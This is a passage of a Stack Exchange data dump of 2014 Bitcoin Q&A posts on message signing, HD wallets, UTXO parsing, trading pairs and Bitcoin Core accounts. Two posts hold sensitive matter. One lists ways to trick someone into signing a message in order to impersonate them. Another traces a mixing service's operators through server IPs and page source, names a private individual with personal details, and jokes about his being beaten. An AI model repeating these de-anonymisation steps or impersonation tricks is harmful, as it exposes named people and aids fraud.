half-dozen ways off the top of my head to trick someone else into signing an arbitrary message with their Bitcoin address. Without the context of a Reddit user named &quot;TheDJFC&quot; that four letter &quot;DJFC&quot; string just looks like random letters, easily confusable with a nonce. It's also worth noting that the message was only signed with one of the input addresses, while the transaction in question references multiple addresses. In such cases, signatures from all addresses used would be preferable, especially where such large amounts of money are involved.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-06-02T18:53:55.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25732" PostTypeId="2" ParentId="25730" CreationDate="2014-06-02T18:55:01.003" Score="2" Body="&lt;p&gt;In this particular instance, I think you could say:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2014-06-02 20:08 UTC I am Reddit user TheDJFC, who posted &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/273vi2/if_you_just_received_800_bitcoin_out_of_the_blue/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/273vi2/if_you_just_received_800_bitcoin_out_of_the_blue/&lt;/a&gt; and am requesting a refund to 1P6iT6SJe4fZkKdzZBvMGoNj4KLnpSgNSp of my 800 BTC that I accidentally sent to an unknown party with transaction 4c1c085b39a64bcbdc8e651d5ffc3cddbb212d43c455c14d652c4600aa751fd6&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;And sign it with all 5 input addresses (signing it with 1 of them only really tells me that the sender of 200 of those BTC signed it, not the owner of all 800.00197476). And if I wish to challenge him with a nonce by saying, &quot;I have the 800 BTC, send me the same message but include nonce 18291312&quot;, then he should be able to sign (again with all 5 input addresses)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2014-06-02 20:08 UTC I am Reddit user TheDJFC, who posted &lt;a href=&quot;http://www.reddit.com/r/Bitcoin/comments/273vi2/if_you_just_received_800_bitcoin_out_of_the_blue/&quot; rel=&quot;nofollow&quot;&gt;http://www.reddit.com/r/Bitcoin/comments/273vi2/if_you_just_received_800_bitcoin_out_of_the_blue/&lt;/a&gt; and am requesting a refund to 1P6iT6SJe4fZkKdzZBvMGoNj4KLnpSgNSp of my 800 BTC that I accidentally sent to an unknown party with transaction 4c1c085b39a64bcbdc8e651d5ffc3cddbb212d43c455c14d652c4600aa751fd6 nonce 18291312&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other scenarios, including other things you mention (date, email address, full name, PGP public key) would be a good idea. E.g. if someone wanted to send an email to me, I might sign a message saying&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2014-06-02 20:08 UTC My PGP public key fingerprint is a1b2c3a1b2c3a1b2c3a1b2c3 and my email address is myname@gmail.com&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The above examples don't &lt;em&gt;really&lt;/em&gt; need a date, IMO: the Reddit thread has its own date (and really, I don't care whether he signed this message 5 minutes after or 2 minutes ago), and the PGP fingerprint refers to a dated public key (which can be expired if need be, I think). But, it never hurts, and it might help clarify and solidify things.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's the point?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some ways I could twist a simple signature like his (just &quot;DJFC&quot; from one of the addresses) to my benefit:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I could create a Reddit account that looks like &quot;DJFC&quot;, and say the same thing&lt;/li&gt;&#xA;&lt;li&gt;I could ask someone to sign (purporting it to be a nonce) the message &quot;DJFC&quot; with their address, and pretend that means I'm that person.&lt;/li&gt;&#xA;&lt;li&gt;The multiple inputs on the transaction might have been different parties. Let's say 200 of the BTC were mine, and 600 were DJFC's. I could sign a message requesting a refund to me (and me alone) from one of the addresses, but I couldn't sign it from the others.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="12034" LastEditorUserId="12034" LastEditDate="2014-06-02T20:10:20.247" LastActivityDate="2014-06-02T20:10:20.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25733" PostTypeId="2" ParentId="24224" CreationDate="2014-06-02T19:04:40.757" Score="0" Body="&lt;p&gt;Theres a python script that connects to bitcoind and generates new tx and new block events &lt;a href=&quot;https://github.com/sebicas/bitcoin-sniffer/blob/master/sniffer.py&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16928" LastActivityDate="2014-06-02T19:04:40.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25734" PostTypeId="1" AcceptedAnswerId="25735" CreationDate="2014-06-02T20:05:44.243" Score="7" ViewCount="1235" Body="&lt;p&gt;I understand the basic concept of generating an unlimited number of public key addresses from a master public key. What I won't understand is how to get the wallet balance. Do I have to query unspent outputs for every public key in the wallet that I have generated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to iterate through the addresses in the utxo and determine whether they are within the public set of addresses that could be generated by the wallet?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I hand the server a public key and it generates more on my behalf, how do I know which addresses received coin? It seems like there must be a way to determine if an address is spendable by the master key pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? Seems that you would have to check the entire utxo set somehow. Much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastEditorUserId="2306" LastEditDate="2015-04-22T18:42:32.123" LastActivityDate="2016-02-06T00:17:57.113" Title="HD / Deterministic Wallets and public key" Tags="|deterministic-wallets|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25735" PostTypeId="2" ParentId="25734" CreationDate="2014-06-02T20:58:11.320" Score="4" Body="&lt;p&gt;Clients that use an &lt;a href=&quot;https://en.bitcoin.it/wiki/Deterministic_wallet&quot; rel=&quot;nofollow&quot;&gt;HD wallet&lt;/a&gt; generate a fairly large number of the keys in advance (e.g. Armory does 100 by default). When it scans the blockchain for relevant transactions, it checks for transactions to all of the keys that it's generated so far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Typically, you do transactions off the next address in the list (there's a certain order to it, and it's easier to just generate the next one than 100 next ones). Let's say your client has generated the first 100 keys, and someone sends money to the 150th address in your list. You'd have to wait for the client to decide to generate the 150th key (probably because you hit your 50th key used and it pregenerated out to 150), or tell your client to generate out to the 150th key, and then rescan the blockchain, in order to know that you received money there.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It seems like there must be a way to determine if an address is spendable by the master key pair.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not necessarily: you can generate a very long series of addresses (2^32, if I'm reading BIP 0032 right) from a master key pair, but doing so would take a substantial amount of time. I'm not sure if there's a theoretical way to do what you're asking (without actually calculating all of them), but in practice it's clear that you just generate the set of addresses you think will be useful in the near future, and go from there.&lt;/p&gt;&#xA;" OwnerUserId="12034" LastActivityDate="2014-06-02T20:58:11.320" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25736" PostTypeId="1" CreationDate="2014-06-02T23:11:15.217" Score="8" ViewCount="9941" Body="&lt;p&gt;I might be over thinking this, but I'm trying to figure out the best way to build an unspent output pool. Should I just naively parse every block? Every input gets removed from the hash set, and every output gets added back in? Seems terribly inefficient. The thing is it doesn't seem like there is anyway to accurately build this utxo pool without traversing the block chain at least once and constructing it. Is there a well defined short-cut I should be aware of? Pointers welcome.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I guess I can iterate through the on-disk blocks first, and then update as blocks come in.&lt;/p&gt;&#xA;" OwnerUserId="17055" LastActivityDate="2023-10-21T01:20:50.733" Title="How to find utxo?" Tags="|transactions|blockchain|utxo|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="25738" PostTypeId="1" AcceptedAnswerId="25740" CreationDate="2014-06-03T04:03:54.340" Score="5" ViewCount="3368" Body="&lt;p&gt;I am little bit confused about markets, In cryptsy there is a market for LTC/BTC in which we can buy or sell LTC using BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My questions are,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is both LTC/BTC &amp;amp; BTC/LTC are the same?&lt;/li&gt;&#xA;&lt;li&gt;I have tried &lt;a href=&quot;http://www.cryptocoincharts.info/v2/api/tradingPair/%22btc_ltc%22&quot;&gt;cryptocoincharts&lt;/a&gt;, but seems to have incorrect values, Any valid market api call to fetch the BTC/LTC market values?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14629" LastActivityDate="2014-06-03T06:39:04.133" Title="What is the difference between BTC/LTC &amp; LTC/BTC markets?" Tags="|litecoin|buy-bitcoins|sell-bitcoins|market|currencies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25739" PostTypeId="1" AcceptedAnswerId="25742" CreationDate="2014-06-03T05:17:10.883" Score="11" ViewCount="4097" Body="&lt;p&gt;Cryptocurrency trading pairs for example ltc/btc, doge/btc should be paired using some criteria. I'd like to comprehend on what basis they are paired. &lt;/p&gt;&#xA;" OwnerUserId="13605" LastEditorUserId="13605" LastEditDate="2014-06-04T10:24:54.077" LastActivityDate="2017-12-23T18:13:02.483" Title="How do exchanges decide on cryptocurrency trading pairs?" Tags="|bitcoind|bitcoin-core|litecoin|trading|dogecoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25740" PostTypeId="2" ParentId="25738" CreationDate="2014-06-03T06:39:04.133" Score="5" Body="&lt;p&gt;LTC/BTC and BTC/LTC are both ratios of purchasing one currency with another. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, with LTC/BTC, the price quoted is for 1 LTC (overlying) in BTC (underlying). If the price is 0.025, that is how many bitcoins are needed to purchase 1 LTC. At this price, 2 LTC would cost 0.05 BTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The opposite would be equivielnt to 1/x, using the example above the rate could also be expressed as 1/0.025, or 40 LTC per bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rate is the same. For some lower valued currency, it would indeed be much better to trade in a BTC/COIN format because it is more likely for an altcoin to go lower than 0.00000001 BTC than to go higher than 100,000,000 BTC per altcoin ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the freshest data, I would recommend going to the source (e.g. a big exchange), such as &lt;a href=&quot;https://btc-e.com/api/documentation&quot;&gt;https://btc-e.com/api/documentation&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12835" LastActivityDate="2014-06-03T06:39:04.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25742" PostTypeId="2" ParentId="25739" CreationDate="2014-06-03T09:49:52.557" Score="4" Body="&lt;p&gt;Exchanges generally choose a few base currencies and build trading pairs on top of them. It has multiple reasons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;The exchange needs to find a base currency where people can understand the value of X from X/base&lt;/em&gt;. BTC/USD is $1350 that gives you a clear idea of how much BTC is worth in USD. That is different from LTC/DRK = 0.98. What did that tell you? Not much. You are in need of a base currency you are familiar with. Most people have a good feeling for the value of USD. Therefore, it is a good denominator.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;The exchange needs to find a base currency which people are most likely to deposit/withdraw for trading&lt;/em&gt;. After you are done with trading numerous altcoins with each other, you want to exit the trading platform in a currency that has a meaning to you. To make that easy, base pairs are usually BTC.&lt;/li&gt;&#xA;&lt;li&gt;This is probably the most important, if an exchange has BTC LTC USD, they will most likely not create BTC/LTC pair because that will decrease the liquidity of LTC/USD pair. They will most likely only offer BTC/USD and LTC/USD. On top of that, the extra pair will have maintenance cost to the exchange.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2014-06-03T09:55:21.717" LastActivityDate="2014-06-03T09:55:21.717" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="25743" PostTypeId="1" AcceptedAnswerId="25766" CreationDate="2014-06-03T19:22:27.227" Score="28" ViewCount="18445" Body="&lt;p&gt;I am very skeptical about the security of the proof of stake system. Is it really that secure? Are there no disadvantages?&lt;/p&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="7043" LastEditDate="2014-06-04T09:23:42.687" LastActivityDate="2017-08-09T20:28:51.880" Title="What are the downsides of proof of stake?" Tags="|proof-of-stake|" AnswerCount="4" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="25744" PostTypeId="1" CreationDate="2014-06-03T21:04:16.740" Score="3" ViewCount="466" Body="&lt;p&gt;I would like to extract as much information about the utxo set (all unspent transactions) up to a given block height, including value and scriptpubkey. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This information is meant to be inserted into a database and processed offline for some statistical analysis. I have been looking at multiple alternatives including bitcoind, bitcoin-ruby, libbitcoin and others, but cant figure out how to do this. Perhaps my programming skills arent that hot.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hoping someone can help me out. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="17063" LastActivityDate="2014-07-04T04:18:59.970" Title="Extracting information from utxo for offline processing" Tags="|transactions|offline|utxo|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25745" PostTypeId="2" ParentId="14439" CreationDate="2014-06-03T22:31:18.183" Score="0" Body="&lt;p&gt;In the six months that I bought in, I haven't been in the plus territory once! It fluctuates and reflects the market....actually, it performs much worse than the market.  And now, they seem to be down. &lt;/p&gt;&#xA;" OwnerUserId="17065" LastEditorUserId="2995" LastEditDate="2014-06-04T08:00:04.527" LastActivityDate="2014-06-04T08:00:04.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25746" PostTypeId="1" CreationDate="2014-06-03T22:56:57.440" Score="2" ViewCount="187" Body="&lt;p&gt;Every time i call decodescript method with any input it returns p2sh &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoin-cli decodescript 1234&#xA;{&#xA;    &quot;asm&quot; : &quot;[error]&quot;,&#xA;    &quot;type&quot; : &quot;nonstandard&quot;,&#xA;    &quot;p2sh&quot; : &quot;2NBbRKQ1VhLw8xeL82ynK4VUUJs9z2pj7Ca&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i know that p2sh is pay to script hash address, but address of what ? the given script ?&lt;/p&gt;&#xA;" OwnerUserId="12049" LastActivityDate="2014-06-04T09:40:50.147" Title="What's p2sh in decodescript RPC method ouput?" Tags="|p2sh|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25747" PostTypeId="1" AcceptedAnswerId="25748" CreationDate="2014-06-03T22:59:13.487" Score="2" ViewCount="67" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;listtransactions&lt;/strong&gt;   [account] [count=10] [from=0]&lt;br&gt;&#xA;  Returns up to [count] most recent transactions skipping the first [from] transactions for account [account]. If [account] not provided it'll return recent transactions from all accounts.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The above is pasted from &lt;a href=&quot;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Original_Bitcoin_client/API_calls_list&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: The page refers to both account(s) and address(es). The wallet can easily generate additional addresses to receive coins but, how can a wallet have more than one account?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This documentation does not look correct to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shouldn't it read&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If [&lt;strong&gt;address&lt;/strong&gt;] not provided it'll return recent transactions from all &lt;strong&gt;addresses&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="17044" LastActivityDate="2014-06-03T23:08:52.037" Title="Bitcoin wiki docs, account or address?" Tags="|bitcoin-core|address|json-rpc|bitcoin-core-accounts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25748" PostTypeId="2" ParentId="25747" CreationDate="2014-06-03T23:08:52.037" Score="0" Body="&lt;p&gt;It is correct as written.  Accounts are just a grouping of addresses.  You generally create accounts with the &lt;strong&gt;getaccountaddress&lt;/strong&gt; call.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This &lt;a href=&quot;https://en.bitcoin.it/wiki/Accounts_explained&quot; rel=&quot;nofollow&quot;&gt;wiki page&lt;/a&gt; provides more detail on what accounts are all about.&lt;/p&gt;&#xA;" OwnerUserId="11121" LastActivityDate="2014-06-03T23:08:52.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25749" PostTypeId="1" AcceptedAnswerId="25755" CreationDate="2014-06-03T23:25:47.580" Score="1" ViewCount="1465" Body="&lt;p&gt;what's the best way to move money within your own wallet between your own accounts and/or addresses without incurring fees?&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;setaccount&#xA;   &lt;br&gt;&#xA;  Sets the account associated with the given address. Assigning address that is already assigned to the same account will create a new address associated with that account.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;^ That is the closest I can see but the address creation part in my opinion should instead produce a help/warn message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I had dust sitting on an address and wanted to move it into a larger pile on my address labeled 'main address' how would I do this?&lt;/p&gt;&#xA;" OwnerUserId="17044" LastActivityDate="2014-06-04T05:43:58.610" Title="moving money without fees" Tags="|wallet|transaction-fees|json-rpc|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25752" PostTypeId="2" ParentId="25744" CreationDate="2014-06-04T03:19:37.923" Score="2" Body="&lt;p&gt;Blocks and transactions have very simple structure. It is very easy to parse them in any language. This is a piece of my code (it definetely works). You may write something similar&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;QTimer&amp;gt;&#xA;#include &amp;lt;QFile&amp;gt;&#xA;&#xA;#include &quot;BlockChain.h&quot;&#xA;#include &quot;Util.h&quot;&#xA;#include &quot;Chainer.h&quot;&#xA;#include &quot;Target.h&quot;&#xA;&#xA;BlockChain::BlockChain ( QObject* parent ) : QFile ( parent ), blkFile ( 0 )&#xA;{&#xA;  QTimer::singleShot ( 0, this, SLOT ( start ( ) ) );&#xA;}&#xA;//--------------------------------------------------------------&#xA;void BlockChain::start ( )&#xA;{&#xA;  setFileName ( blkFileName ( blkFile++ ) );&#xA;  if ( !open ( QIODevice::ReadOnly ) )&#xA;  {&#xA;    _trace ( QString ( &quot;cant open [%1]&quot; ).arg ( fileName ( ) ) );&#xA;    getParent ( ).block ( QByteArray ( ), 1 ); // end-of-blockchain signal&#xA;    deleteLater ( );&#xA;  }&#xA;  else&#xA;  {&#xA;    _trace ( QString ( &quot;processing [%1]&quot; ).arg ( fileName ( ) ) );&#xA;    QTimer::singleShot ( 0, this, SLOT ( next ( ) ) );&#xA;  }&#xA;}&#xA;//--------------------------------------------------------------&#xA;void BlockChain::next ( )&#xA;{&#xA;  bool lock ( true );&#xA;  if ( pos ( ) &amp;lt; size ( ) )&#xA;  {&#xA;    quint32 magic;&#xA;    quint32 size ( read ( (char*)&amp;amp;magic, 4 ) );&#xA;    xassert ( ( ( magic == MAGIC_ID ) || !magic ) &amp;amp;&amp;amp; ( size == 4 ) );&#xA;    if ( magic )&#xA;    {&#xA;      read ( (char*)&amp;amp;size, 4 );&#xA;      xassert ( size &amp;gt; HEADER_SIZE &amp;amp;&amp;amp; size &amp;lt;= MAX_BLOCK_SIZE );&#xA;      getParent ( ).block ( read ( size ), 0 );          // block signal&#xA;      QTimer::singleShot ( 0, this, SLOT ( next ( ) ) );&#xA;      return;&#xA;    }&#xA;    else&#xA;      lock = false;&#xA;  }&#xA;  close ( );&#xA;  getParent ( ).doneFile ( lock, blkFile - 1 );       // notification&#xA;  QTimer::singleShot ( 0, this, SLOT ( start ( ) ) ); // next blk file&#xA;}&#xA;//--------------------------------------------------------------&#xA;const QString BlockChain::blkFileName ( const int i )&#xA;{&#xA;  return&#xA;    ( i &amp;lt; 10 ) ? QString ( DATA_ROOT &quot;\\blk0000%1.dat&quot; ).arg ( i ) :&#xA;    ( i &amp;lt; 100 ) ? QString ( DATA_ROOT &quot;\\blk000%1.dat&quot; ).arg ( i ) :&#xA;    ( i &amp;lt; 1000 ) ? QString ( DATA_ROOT &quot;\\blk00%1.dat&quot; ).arg ( i ) :&#xA;    ( i &amp;lt; 10000 ) ? QString ( DATA_ROOT &quot;\\blk0%1.dat&quot; ).arg ( i ) :&#xA;    QString ( DATA_ROOT &quot;\\blk%1.dat&quot; ).arg ( i );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-06-04T03:19:37.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25753" PostTypeId="2" ParentId="25722" CreationDate="2014-06-04T03:51:01.093" Score="8" Body="&lt;p&gt;It probably doesn't give you more security, and in fact if the mixer service's coin volumes are low, which they likely are, and dependent on whatever their turn around time may be, and dependent on how many coins you are asking them to mix, it is very possible for you to get back some of the same coins you sent to them. Unless they were verifiably in a nation which is very unfriendly to whatever country you're in, such as North Korea if you're in the USA, then they likely don't offer any additional security against government agencies compared to a major exchange located in another country, like BTC-e in you're in the USA.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if they were to send you different coins, they are still most likely going to be attached to legally questionable transactions due to the very nature of this service. So instead of the block chain showing you received coins from someone who buys Cocaine on Silk Road 2, it'll now show that you received coins from someone who buys Heroin. Either way you still look like a drug dealer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to address bitlaunder.com specifically, their service is outright laughable. Go read their Privacy Policy&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitlaunder.com/privacy_policy&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitlaunder.com/privacy_policy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sharing Information With Government Agencies / Court Orders&#xA;&#xA;We will NOT comply with any court order for information pertaining to our clients,&#xA;nor will we comply with any government request (of any country) for information&#xA;about our clients. &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But then say:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;California Online Privacy Protection Act Compliance&#xA;&#xA;Because we value your privacy we have taken the necessary precautions to be in compliance&#xA;with the California Online Privacy Protection Act. We therefore will not distribute&#xA;your personal information to outside parties without your consent.&#xA;&#xA;As part of the California Online Privacy Protection Act, all users of our site may&#xA;make any changes to their information at anytime by logging into their control panel&#xA;and going to the 'Edit Profile' page.&#xA;&#xA;Children's Online Privacy Protection Act Compliance&#xA;&#xA;We are in compliance with the requirements of COPPA (Children's Online Privacy &#xA;Protection Act), we do not collect any information from anyone under 13 years of age.&#xA;Our website, products and services are all directed to people who are at least 13&#xA;years old or older.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So they wont comply with American and foreign court orders, yet they seem to be very concerned with complying with American and Californian privacy laws? Sure sounds odd for a money laundering service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And although their DNS name is registered to a proxy, and their website is behind the CloudFlare CDN, we can run a reverse DNS query on the IP assigned to their MX entry (64.90.187.212) which tells us that their email server is at a colocation facility in New York because its DNS name is 64.90.187.212.static.nyinternet.net. The banner for that SMTP server identifies its primary domain as mail.bitspeculate.com. We can further prove that both services are ran by the same person because if you create a account at BitSpeculate, login, and go to &lt;a href=&quot;https://bitspeculate.com/member_area/mtrans_my_accounts&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bitspeculate.com/member_area/mtrans_my_accounts&lt;/a&gt; and view the HTML for that page you'll see this commented out:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;li class=&quot;last&quot;&amp;gt;&amp;lt;a href=&quot;/contact&quot; title=&quot;Contact BitLaunder&quot;tabindex=&quot;14&quot;&amp;gt;Contact&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And the twitter account for BitSpeculate says it is ran by Michael Moriarty (which very well may be a pseudonym) in Vancouver BC. The picture for this account is for Professor Moriarty from the recent Sherlock Holmes movie, and according to Wikipedia, Prof. Moriarty is &quot;Sherlock Holmes's archenemy, Moriarty is a criminal mastermind whom Holmes describes as the &quot;Napoleon of crime&quot;.&quot; Do you really want to trust you money with someone who fancies themselves as a criminal mastermind? And if you read through the BitSpeculate Twitter account you can't just help but laugh at the irony of someone who runs a exchange and laundering service talking about how online wallets are unsafe.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitSpeculate itself seems like it very well might be a fraud because after creating a account, I see that they will not tell you the volume of trades for their cryptocurrency markets which seems exceptionally odd for a cryptocoin exchange. And their price data doesn't stream live, but is instead manually inserted in to the HTML via PHP script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the sites creator was this sloppy covering their tracks, arrogant in choosing their pseudonym, incompetent in regards to web development, and if I can find out this much about them in a few minutes, I'm pretty sure a government with the ability to subpoena service providers and execute search warrants could find out whatever they wanted to know about this service and its customers with little trouble, regardless of whether or not the sites operators would cooperate or whether or not they are using Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And finally, BitLaunder does not appear to be ran by syadasti. If you read the reddit post you linked, syadasti is running a different service - bitlaundry.com which does not use Tor. If you read the article linked in the reddit post, Mike Gogulski seeming outs himself as syadasti in the comment section by saying he runs bitlaundry.com. And according to Mike's GitHub account he is based in Bratislava, Slovakia. If you google his name some more you can see he was an American who renounced his citizenship, and now has to deal with the trouble of not having a passport and the consequences that brings such as he says &quot;he was once detained by Slovak police outside a bar, beaten and had no one to turn to for consular help.&quot; So I'm guessing if a government wanted to force him to reveal who his customers are, it wouldn't be that hard for them to beat it out of him.&lt;/p&gt;&#xA;" OwnerUserId="15695" LastEditorUserId="42185" LastEditDate="2017-08-01T17:12:16.407" LastActivityDate="2017-08-01T17:12:16.407" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25754" PostTypeId="1" AcceptedAnswerId="25762" CreationDate="2014-06-04T04:21:33.080" Score="-2" ViewCount="780" Body="&lt;p&gt;How the arbitrage works, Is transaction fee is included for calculating arbitrage across exchanges, &lt;a href=&quot;http://www.cryptocoincharts.info/v2/arbitrage&quot; rel=&quot;nofollow&quot;&gt;cryptocoincharts&lt;/a&gt; seems to render incorrect values,&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Any other arbitrage available at open source?&lt;/li&gt;&#xA;&lt;li&gt;How to calculate arbitrage?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="14629" LastActivityDate="2014-06-04T11:42:06.680" Title="How the arbitrage works?" Tags="|transactions|transaction-fees|trading|arbitrage|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25755" PostTypeId="2" ParentId="25749" CreationDate="2014-06-04T05:43:58.610" Score="2" Body="&lt;p&gt;You are asking two questions which might seem to be related but are actually very different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To move coins between &lt;em&gt;addresses&lt;/em&gt;, you have to create a transaction and get it included in the blockchain.  Just like any other transaction, this might require you to pay a fee.  (You might be able to send the transaction without a fee, depending on the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fees&quot; rel=&quot;nofollow&quot;&gt;priority&lt;/a&gt; and/or whether your transaction finds its way to a generous miner.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Accounts&lt;/em&gt;, however, exist only within the Bitcoin Core client.  They are just a bookkeeping device to group your funds.  You can move coins between accounts with the &lt;code&gt;move&lt;/code&gt; command in the Bitcoin Core console.  This updates the client's internal records to adjust the balances of those accounts, but doesn't actually cause any coins to move between addresses, so it has no fee.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-06-04T05:43:58.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25758" PostTypeId="2" ParentId="25746" CreationDate="2014-06-04T09:40:50.147" Score="1" Body="&lt;p&gt;It is the address you would have to give to someone in order for them to pay to that script.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-06-04T09:40:50.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
